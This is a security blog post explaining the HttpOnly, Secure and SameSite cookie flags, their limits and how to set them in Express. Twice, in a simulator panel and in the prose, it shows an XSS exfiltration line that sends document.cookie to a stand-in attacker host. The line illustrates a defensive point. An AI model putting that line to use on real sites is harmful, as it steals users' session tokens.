EncryptCodecencryptcodec
Blog/Security
SecurityMarch 19, 2026 · 7 min read

Cookie Security Flags: HttpOnly, Secure, and SameSite Explained

A real-world session hijacking incident often comes down to one missing attribute on a cookie. Not a broken algorithm, not a weak cipher — just Set-Cookie: session=abc123 with no flags attached, sitting naked in the browser, readable by any JavaScript on the page.

Use all three flags — HttpOnly, Secure, and SameSite=Lax (or Strict) — on every session or auth cookie you set. This isn't a checklist you negotiate with; it's the baseline. The rest of this article explains exactly why each flag matters, where they fall short, and what junior devs consistently get wrong.

What Each Flag Actually Does

HttpOnly prevents JavaScript from accessing the cookie via document.cookie. That's it. It doesn't encrypt the cookie, it doesn't stop it from being sent over HTTP, and it doesn't prevent CSRF. What it does stop is XSS-based session theft — an attacker injecting a script that exfiltrates your users' session tokens to their own server.

Cookie Flag Simulator
Toggle flags and see which attacks are blocked or allowed.
Set-Cookie: session=<token>; Path=/; Max-Age=604800; SameSite=None
HttpOnly
Blocks JS from reading via document.cookie
Secure
Only sent over HTTPS connections
SameSite
Attack Scenario
VULNERABLE— enable HttpOnly to fix
Attacker injects a script that reads document.cookie and exfiltrates session tokens.
// active threat
fetch("https://evil.com/steal?c=" + document.cookie)
Protected by:HttpOnly

Without HttpOnly, a single reflected XSS vulnerability lets an attacker run fetch('https://evil.com/steal?c=' + document.cookie) and collect every active session in your app. With HttpOnly, that script gets an empty string.

Secure tells the browser to only send the cookie over HTTPS connections. If your app is served over HTTPS but you forget this flag, the browser will still send the cookie over plain HTTP — which means a man-in-the-middle on a coffee shop WiFi network can read the session token in clear text.

The non-obvious edge case here: if your staging environment runs on http://, setting Secure will silently break authentication there. Developers often chase this bug for hours. The fix is to make Secure conditional on your environment, not to remove it from production.

SameSite controls whether the browser sends the cookie on cross-site requests. It has three values:

  • Strict — cookie is never sent on cross-site requests, including navigations from external links
  • Lax — cookie is sent on top-level navigations (e.g., clicking a link) but not on cross-origin subresource requests or form POSTs
  • None — cookie is always sent, but requires Secure to be set (Chrome enforces this)

SameSite=Lax is the right default for most apps. It blocks CSRF on state-mutating requests while preserving normal navigation. Strict breaks OAuth and third-party redirect flows because the callback from the identity provider counts as a cross-site navigation, and the browser won't send your session cookie — so the user arrives authenticated at the IdP but logged out on your app.

Setting These Flags in Practice

Here's how to set a properly secured auth cookie across common backend stacks:

const express = require('express');
const app = express();

app.post('/login', (req, res) => {
// After validating credentials...
const sessionToken = generateSecureToken(); // use crypto.randomBytes

res.cookie('session', sessionToken, {
  httpOnly: true,
  secure: process.env.NODE_ENV === 'production',
  sameSite: 'lax',
  maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days in ms
  path: '/',
});

res.json({ ok: true });
});

The Java SameSite Problem

Notice the Java example manually builds the Set-Cookie header string. This is not optional — the standard javax.servlet.http.Cookie API in older Java EE / Jakarta versions has no setSameSite() method. If you use cookie.setSecure(true) and call it done, your cookie has no SameSite attribute at all.

Modern browsers default to SameSite=Lax when no attribute is present, which helps — but you're depending on browser behavior instead of declaring your intent. In Spring Boot 3.x, you can configure this globally via CookieSerializer in your session configuration, which is cleaner than manual headers.

What These Flags Don't Protect Against

HttpOnly stops JavaScript from reading cookies, but it doesn't stop a full XSS attack from making authenticated requests on the user's behalf. The attacker's injected script can still call your API endpoints — the browser will attach the cookie automatically. CSRF protection and a solid Content Security Policy do the heavy lifting there.

Secure doesn't validate your TLS certificate quality or protect against a compromised root CA. It just enforces HTTPS transport. If your TLS configuration is weak (expired cert, TLS 1.0, etc.), Secure cookies are only as strong as your cert chain.

SameSite=Strict is tempting because it sounds safer, but it breaks OAuth callbacks, "magic link" email logins, and any flow where a user arrives at your app from an external redirect carrying an expected state. Use Lax and implement proper CSRF tokens for any sensitive state-mutating endpoints that need cross-site support.

One thing teams consistently ignore: Domain and Path scope what the browser will send the cookie to. If you set Domain=.example.com, the cookie is sent to every subdomain — including that old marketing microsite running on legacy.example.com that hasn't been patched since 2019. Be explicit. Leave Domain unset (which scopes the cookie to the exact host that set it) unless you specifically need subdomain sharing.

Similarly, setting Path=/api instead of Path=/ limits the cookie to API routes — useful if you have a separate admin panel at /admin that should use a different session.

Where to Go From Here

Audit your current session cookie right now. Open your browser DevTools, go to Application → Cookies, and check every cookie your app sets. If you see a session or auth cookie missing any of HttpOnly, Secure, or SameSite, that's a vulnerability waiting for the right XSS or network intercept to be exploited.

If you need a cryptographically strong session secret to sign those session tokens, generate one with the EncryptCodec Random Secret Generator — it produces secrets with proper entropy so you're not accidentally using a weak key in production.

Share this post

Generate a Secure Session Secret

Free, browser-based — no signup required.

Frequently Asked Questions

Related posts